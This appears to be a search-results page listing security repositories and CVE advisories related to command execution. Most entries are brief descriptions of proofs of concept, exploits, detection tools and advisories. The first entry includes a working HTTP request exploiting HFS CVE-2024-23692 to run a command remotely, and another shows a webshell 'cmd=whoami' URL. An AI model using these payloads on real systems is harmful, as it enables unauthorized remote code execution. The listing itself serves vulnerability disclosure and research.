CVE-2024-23692

CVE-2024-23692 PoC de BURP GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

K8tools

K8tools Declaración: Las herramientas son solo para investigación de seguridad o pruebas de penetración autorizadas. El mal uso conlleva consecuencias bajo su propia responsabilidad. Descarga: https://github.com/k8gege/K8tools Documentación: http://k8gege.org/p/72f1fea6.html PS: Actualizaciones...

Flerken

Flerken Introducción Se ha demostrado que la Ofuscación de Línea de Comandos CLOB es un factor no despreciable en el malware sin archivos o actores maliciosos que "viven de la tierra". Aunque se ven docenas de herramientas de ofuscación en la naturaleza, pocas contramedidas adecuadas se pueden...

CVE-2025-24813-apache-tomcat

CVE-2025-24813 Plantilla Nuclei CVE-2025–24813 nuclei -l list.txt -t CVE-2025–24813.yaml ejecutar shell http://target.com/updates.jsp?cmd=whoami...

CVE-2021-21551

Explotación de CVE-2021-21551 para LPE creando una cmd de Sistema Probado en Windows 11 21H2 22000.1335...

CMD_Bypass_Assessment

CMD Bypass Method Analysis CMD Bypass Method Analysis is a PowerShell script that automatically tests CMD bypass methods on Windows systems and evaluates the results. The script checks for various CMD bypass methods and saves the results to a text file, providing security recommendations. Use To...

CVE-2024-48208

CVE-2024-48208 El repositorio contiene todo el trabajo relacionado con el desarrollo del PoC sobre cómo una simple lectura OOB fuera de límites puede resultar en escapadas de la cárcel y en control de acceso roto. Acerca de la Vulnerabilidad La descripción original del CVE es la siguiente: La PR ...

CVE-2023-21752

CVE-2023-21752 PoC for arbitrary file delete vulnerability in Windows Backup service. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752 This repo contains two exploits: v1 - Just perform file delete of user choice v2 - Tries to abuse arb delete to spawn elevated cmd shell not...

CVE-2019-8014

CVE-2019-8014: un análisis simple. Contiene PoC y exploit. El shellcode es para abrir la calculadora o una ventana de CMD, no lo recuerdo. Nota: my.7z es la imagen bmp necesaria para desencadenar la vulnerabilidad. El archivo es demasiado grande, así que lo comprimí...

CVE-2024-29269-EXPLOIT

CVE-2024-29269 - Ejecución Remota de Código RCE en Telesquare TLR-2005KSH Se ha identificado un problema en Telesquare TLR-2005Ksh versiones 1.0.0 y 1.1.4 que puede permitir a atacantes ejecutar comandos arbitrarios del sistema explotando el parámetro Cmd. Esta vulnerabilidad podría permitir que...

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python A quick POC for the vulnerability disclosed here https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ After you run the script it will ask for an arg to be passed to the BAT file. In the screenshot you can see that by adding " the...

CVE-2017-0213-

CVE-2017-0213 para obtener privilegios de Administrador desde CMD Productos vulnerables Producto| Versión| Actualización| Probado ---|---|---|--- Windows 10| | | √ Windows 10| 1511| | Windows 10| 1607| | Windows 10| 1703| | √ Windows 7| | SP1| √ Windows 8.1| | | Windows RT 8.1| | | Windows Server...

zeek-netsupport-detector

NetSupport Contexto https://unit42.paloaltonetworks.com/cortex-xdr-detects-netsupport-manager-rat-campaign/ PCAP de prueba: https://app.any.run/tasks/b5d9853f-0dca-45ef-9532-83feeedcbf42 Ejemplo: $ zeek -Cr b5d9853f-0dca-45ef-9532-83feeedcbf42.pcap $ cat notice.log separator \x09 setseparator ,...

CVE-2024-23692_Exploit

CVE-2024-23692 / Exploit Code A vulnerability has been discovered in HFS 2.3 and earlier versions that allows sending CMD commands to the server to execute them. Detail: https://asec.ahnlab.com/ko/74113/ This code is for educational purposes only, and legal responsibility for misuse lies with the...

CVE-2026-100368

CliInvoke is a .NET library for invoking command-line programs, and its CliInvoke.Specializations packages provide specialized wrappers for shells such as PowerShell and Windows Command Prompt. CliInvoke.Specializations versions 2.2.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4,...

CVE-2026-100368

The CliInvoke.Specializations .NET library contains an OS command injection vulnerability in its PowerShell and Cmd shell wrappers (specifically PowershellProcessInvoker, CmdProcessInvoker, and UsePowerShell/UseCmd middleware). The root cause is that the wrappers pass caller-controlled targets an...

CVE-2026-100368 CliInvoke.Specializations: Command injection in PowerShell and Cmd shell wrappers

CliInvoke is a .NET library for invoking command-line programs, and its CliInvoke.Specializations packages provide specialized wrappers for shells such as PowerShell and Windows Command Prompt. CliInvoke.Specializations versions 2.2.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4,...

EUVD-2026-87320

CliInvoke is a .NET library for invoking command-line programs, and its CliInvoke.Specializations packages provide specialized wrappers for shells such as PowerShell and Windows Command Prompt. CliInvoke.Specializations versions 2.2.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4,...

CVE-2026-97913

In the Linux kernel, the following vulnerability has been resolved: accel: ethosu: Ensure cmd stream ends with a stop op While the QSIZE register setting should prevent an out of bounds access of the command stream, it is not clear whether the h/w generates an interrupt in this case as is require...

CVE-2026-97913

The Linux kernel contains a vulnerability in the accel: ethosu component. The issue arises because the QSIZE register setting might not guarantee a hardware interrupt to prevent a timeout during an out-of-bounds access of the command stream. To resolve this, the system now ensures that the comman...